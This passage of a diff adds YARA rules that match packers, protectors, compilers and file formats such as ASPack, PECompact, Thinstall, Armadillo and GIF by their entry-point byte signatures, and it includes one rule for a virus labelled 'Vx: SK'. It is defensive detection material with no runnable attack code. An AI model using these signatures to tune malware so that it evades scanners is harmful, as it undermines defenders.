+		$0 = {55 8B EC 6A FF 68 C8 3B 42 00 68 ?? B8 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 C0 31 42 00 33 D2 8A D4 89 15 ?? EB 42 00 8B C8 81 E1 FF 00 00 00 89 0D ?? EB 42 00 C1 E1 08 03 CA 89 0D ?? EB 42 00 C1 E8 10 A3 ?? EB 42 00 6A 01 E8 C0 1C 00 00 59 85 C0 75 08 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_Poly_21__Extranger_
+{
+	meta:
+		description = "SimbiOZ Poly 2.1 -> Extranger"
+	strings:
+		$0 = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+		$1 = {55 50 8B C4 83 C0 04 C7 00 ?? ?? ?? ?? 58 C3 90}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_V118_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7}
+		$1 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECrypt_102_
+{
+	meta:
+		description = "PE-Crypt 1.02"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+		$1 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DShield_
+{
+	meta:
+		description = "DShield"
+	strings:
+		$0 = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_V14___BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.4 ->  BG Software Protect Technologies"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_104b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.04b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? 00 B8 ?? ?? ?? 00 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? 00 80 BD 08 9D ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v11b__MARQUiS_
+{
+	meta:
+		description = ".BJFnt v1.1b -> :MARQUiS:"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_v28_AntiDebug__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 (Anti-Debug) -> Spirit"
+	strings:
+		$0 = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8}
+		$1 = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECompact_v092_
+{
+	meta:
+		description = "PECompact v0.92"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_v32x_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v113__DarkStop_v10_
+{
+	meta:
+		description = "HACKSTOP v1.13 / DarkStop v1.0"
+	strings:
+		$0 = {FA BD ?? ?? D4 85 4E 32 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _NX_PE_Packer_v10_
+{
+	meta:
+		description = "NX PE Packer v1.0"
+	strings:
+		$0 = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+		$1 = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_v1401_
+{
+	meta:
+		description = "EXECryptor v1.4.0.1"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1501_Options__Light_Full_support_CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Micrografix_Draw_Graphics_format_
+{
+	meta:
+		description = "Micrografix Draw Graphics format"
+	strings:
+		$0 = {01 FF 02 04 03 02 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1190__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.9.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 39 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_Configuration_File_
+{
+	meta:
+		description = "Turbo Pascal Configuration File"
+	strings:
+		$0 = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_SK_
+{
+	meta:
+		description = "Vx: SK"
+	strings:
+		$0 = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+	condition:
+		$0 at entrypoint
+}
+rule _Libraries_by_John_Socha_
+{
+	meta:
+		description = "Libraries by John Socha"
+	strings:
+		$0 = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V2736__Jitit_
+{
+	meta:
+		description = "Thinstall V2.736 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0}
+		$1 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_v31__North_Star_
+{
+	meta:
+		description = "NsPack v3.1 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_25xx__Jtit_
+{
+	meta:
+		description = "Thinstall 2.5xx -> Jtit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+		$1 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B F1 7C 04 3B F2 7C 02 89 2E 83 C6 04 3B F7 7C E3 58 50 68 00 00 40 00 68 80 5A}
+		$2 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _PECompact_v25_Retail_Slim_Loader__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+		$1 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_Microsoft_Visual_Cpp__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake Microsoft Visual C++) -> emadicius"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NEExe_Executable_Image_
+{
+	meta:
+		description = "NE-Exe Executable Image"
+	strings:
+		$0 = {4E 45}
+	condition:
+		$0 at entrypoint
+}
+rule _GIF87a_Graphics_format_
+{
+	meta:
+		description = "GIF87a Graphics format"
+	strings:
+		$0 = {47 49 46 38 37 61}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrinker_v045__Virogen_
+{
+	meta:
+		description = "PC-Shrinker v0.45 -> Virogen"
+	strings:
+		$0 = {BD 01 AD E3 38 40 00 FF B5 DF 38 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V25V26__LiuXingPing____SignByfly_
+{
+	meta:
+		description = "Anti007 V2.5-V2.6 -> LiuXingPing   * Sign.By.fly"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Windows_Animation_format_
+{
+	meta:
+		description = "Windows Animation format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 41 43 4F 4E 4C 49 53 54}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_13x__Cyberbob_
+{
+	meta:
+		description = "PESpin 1.3x -> Cyberbob"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v102_dllocx__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.02 (.dll,.ocx) -> Ashkbiz Danehkar"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _CrackStop_v101_c_Stefan_Esser_1997_
+{
+	meta:
+		description = "CrackStop v1.01 (c) Stefan Esser 1997"
+	strings:
+		$0 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+		$1 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VideoCD_file_
+{
+	meta:
+		description = "Video-CD file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 58 41 66 6D 74}
+	condition:
+		$0 at entrypoint
+}
+rule _mPack_V003__DeltaAziz_
+{
+	meta:
+		description = "mPack V0.03 -> DeltaAziz"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 ?? ?? ?? ?? 32 00 00 00 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 C9 C9 FF FF BA ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 04 00 00 00 E8 C5 C9 FF FF 83 3D ?? ?? ?? ?? 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 92 C9 FF FF BA 18 A5 00 10 A1 ?? ?? ?? ?? B9 04 00 00 00 E8 8E C9 FF FF 83 F8 04 74 0A E8 14 B2 FF FF E9 A7 00 00 00 E8 0A CB FF FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 63 C9 FF FF 83 F8 FF 75 0A E8 F1 B1 FF FF E9 84 00 00 00 6A 00 6A 00 B8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 D4 CD FF FF 84 C0 75 07 E8 CF B1 FF FF EB 65 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 0F FA FF FF 3B 05 ?? ?? ?? ?? 75 0D A1 ?? ?? ?? ?? 8B 40 3C E8 6E FB FF FF 6A 03 E8 07 C4 FF FF A1 ?? ?? ?? ?? E8 C1 C6 FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 AA C6 FF FF A1 ?? ?? ?? ?? E8 A0 C6 FF FF C3 E9 AE B0 FF FF EB E4 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F0 E8 A7 B5 FF FF C3 E9 91 B0 FF FF EB F0 E8 62 B4 FF FF}
+		$1 = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF}
+		$2 = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 ?? ?? ?? ?? 32 00 00 00 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 C9 C9 FF FF BA ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 04 00 00 00 E8 C5 C9 FF FF 83 3D ?? ?? ?? ?? 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 92 C9 FF FF BA 18 A5 00 10 A1 ?? ?? ?? ?? B9 04 00 00 00 E8 8E C9 FF FF 83 F8 04 74 0A E8 14 B2 FF FF E9 A7 00 00 00 E8 0A CB FF FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 63 C9 FF FF 83 F8 FF 75 0A E8 F1 B1 FF FF E9 84 00 00 00 6A 00 6A 00 B8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 D4 CD FF FF 84 C0 75 07 E8 CF B1 FF FF EB 65 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 0F FA FF FF 3B 05 ?? ?? ?? ?? 75 0D A1 ?? ?? ?? ?? 8B 40 3C E8 6E FB FF FF 6A 03 E8 07 C4 FF FF A1 ?? ?? ?? ?? E8 C1 C6 FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 AA C6 FF FF A1 ?? ?? ?? ?? E8 A0 C6 FF FF C3 E9 AE B0 FF FF EB E4 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F0 E8 A7 B5 FF FF C3 E9 91 B0 FF FF EB F0 E8 62 B4 FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Zortech_C_
+{
+	meta:
+		description = "Zortech C"
+	strings:
+		$0 = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+		$1 = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_V520Beta1__Silicon_Realms_Toolworks___20080214_
+{
+	meta:
+		description = "Armadillo V5.20.Beta1 -> Silicon Realms Toolworks  * 20080214"
+	strings:
+		$0 = {E8 8E 3F 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 9E 16 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 F5 14 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 86 14 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_V101__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector V1.01 -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _v02Packer__ttt_
+{
+	meta:
+		description = "v.02Packer -> tt.t"
+	strings:
+		$0 = {60 E8 36 FE FF FF C3 90 ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleboxUltraV40X__Teggo_Software_Ltd__20090518_
+{
+	meta:
+		description = "Molebox.Ultra.V4.0.X -> Teggo Software Ltd. * 20090518"
+	strings:
